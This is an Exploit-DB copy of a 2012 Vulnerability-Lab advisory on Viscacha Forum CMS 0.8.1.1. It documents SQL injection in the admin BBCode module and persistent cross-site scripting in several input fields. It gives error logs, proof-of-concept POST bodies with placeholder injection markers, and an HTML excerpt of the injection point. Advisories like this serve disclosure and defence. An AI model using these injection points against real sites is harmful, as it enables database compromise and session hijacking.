Exploit-DB #18873
Description: Viscacha Forum CMS 0.8.1.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-13
Author: Vulnerability-Lab

Exploit:
Title:
======
Viscacha Forum CMS v0.8.1.1 - Multiple Web Vulnerabilities


Date:
=====
2012-05-08


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=525


VL-ID:
=====
525


Common Vulnerability Scoring System:
====================================
7.3


Introduction:
=============
Viscacha is a free bulletin board system with an integrated CMS. The intention of the software engineers 
is to combine the current standards with new and user friendly features. The system supports packages for 
easily extending the core system.  Viscacha is a free bulletin board system with an integrated content 
management system. The intention of the software engineers is to combine the current standards with new 
and user friendly features. The system supports packages (plugins and components) for easily extending the 
core system. Viscacha uses an database abstraction layer to support as many databases as possible. With 
this software you can easily set up a complete (personal) homepage. The CMS extends the bulletin board 
system to have a homepage which is connected to the community.

(Copy of the vendor Homepage: http://www.viscacha.org )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in Viscacha Bulletin Board CMS v0.8.1.1.


Report-Timeline:
================
2012-05-08:  Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
1.1
A remote SQL Injection vulnerability (POST) is detected in Viscacha Bulletin Board CMS v0.8.1.1.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands 
on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
The vulnerability is located on the bbcode module of the forum application.

Vulnerable Module(s):
        [+] BBCode - Tags & BB-Code | Change or Example


--- SQL Exception Logs ---
Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your 
MySQL server version for the right syntax to use near ` at line 1
File: /home/opencms/public_html/demo/viscacha/admin/bbcodes.php on line 1164
Query: SELECT * FROM v_bbcode WHERE bbcodetag = `sd`AND twoparams = `0`AND in 
/home/server/public_html/cms/viscacha/classes/database/mysql.inc.php on line 151 


Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your 
MySQL server version for the right syntax to use near ` at line 1
File: /home/server/public_html/cms/viscacha/admin/bbcodes.php on line 1164
Query: SELECT * FROM v_bbcode WHERE bbcodetag = `sd` AND twoparams = `0` AND in 
/home/opencms/public_html/demo/viscacha/classes/database/mysql.inc.php on line 151 

Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your 
MySQL server version for the right syntax to use near` at line 1
File: /home/server/public_html/cms/viscacha/admin/bbcodes.php on line 1164
Query: SELECT * FROM v_bbcode WHERE bbcodetag = `-1`AND twoparams = `0` AND in 
/home/server/public_html/cms/viscacha/classes/database/mysql.inc.php on line 151 


Picture(s):
        ../1.png
        ../2.png


1.2
Multiple persistent input validation vulnerabilities is detected in Viscacha Bulletin Board CMS v0.8.1.1.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin/user) or stable (persistent) 
context manipulation. Exploitation requires low user inter action.


Vulnerable Module(s):
        [+] Private Messages System - Text Input Field
        [+] Zensur - Bad Word Input Field
        [+] Kommentar - Portal Input Field Text & Topic

Picture(s):
        ../3.png
        ../4.png


Proof of Concept:
=================
1.1
The sql injection vulnerability can be exploited by remote attackers without user inter action.
For demonstration or reproduce ...

PoC: POSTDATA
title=say&bbcodetag=-1%27&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27[SQL-INJECTION]&bbcodeexplanation=-1%27&twoparams=0&buttonimage=-1%27
... or
title=say&bbcodetag=-1%27&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27&bbcodeexplanation=-1%27&twoparams=0&buttonimage=[SQL-INJECTION]
... &
title=say&bbcodetag=-1%27[SQL-INJECTION]&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27&bbcodeexplanation=-1%27&twoparams=0&buttonimage=-1%27


1.2
The persistent input validation vulnerabilities can be exploited by remote attackers with low required user inter action.
For demonstration or reproduce ...


Review: Zensur - Bad Word & Listing

<td class="mbox" width="45%">​​​​​">​​​​​<[EXECUTION OF SCRIPT CODE HERE!]' <<="" td="">
  </tr>
  <tr>

<td class="ubox" width="100%" colspan=3 align="center"><input type="submit" name="Submit" 
value="Löschen"></td>
  </tr>
 </table>
</form>
<br>
<form name="form" 
method="post" action="admin.php?action=bbcodes&job=add&tp=censor">
 <table class="border">
  
<tr>
   <td class="obox" colspan=2>Wort hinzufügen</b></td>
  </tr>
  <tr>
   
<td class="mbox" width="30%">Wort:<br /><span class="stext">Maximal 200 Zeichen</span></td>
   
<td class="mbox" width="70%"><input type="text" name="temp1" size="70"></td>
  
</tr>
  <tr>
   <td class="mbox" width="30%">Zensiertes Wort:<br /><span class="stext">
Maximal 255 Zeichen</span></td>
   <td class="mbox" width="70%"><input type="text" name="temp2" 
size="70"></td>
  </tr>
  <tr>
   <td class="ubox" colspan="2" align="center"><
input type="submit" name="Submit" value="Hinzufügen"></td>
  </tr>
 </table>
</form>

<br style="lin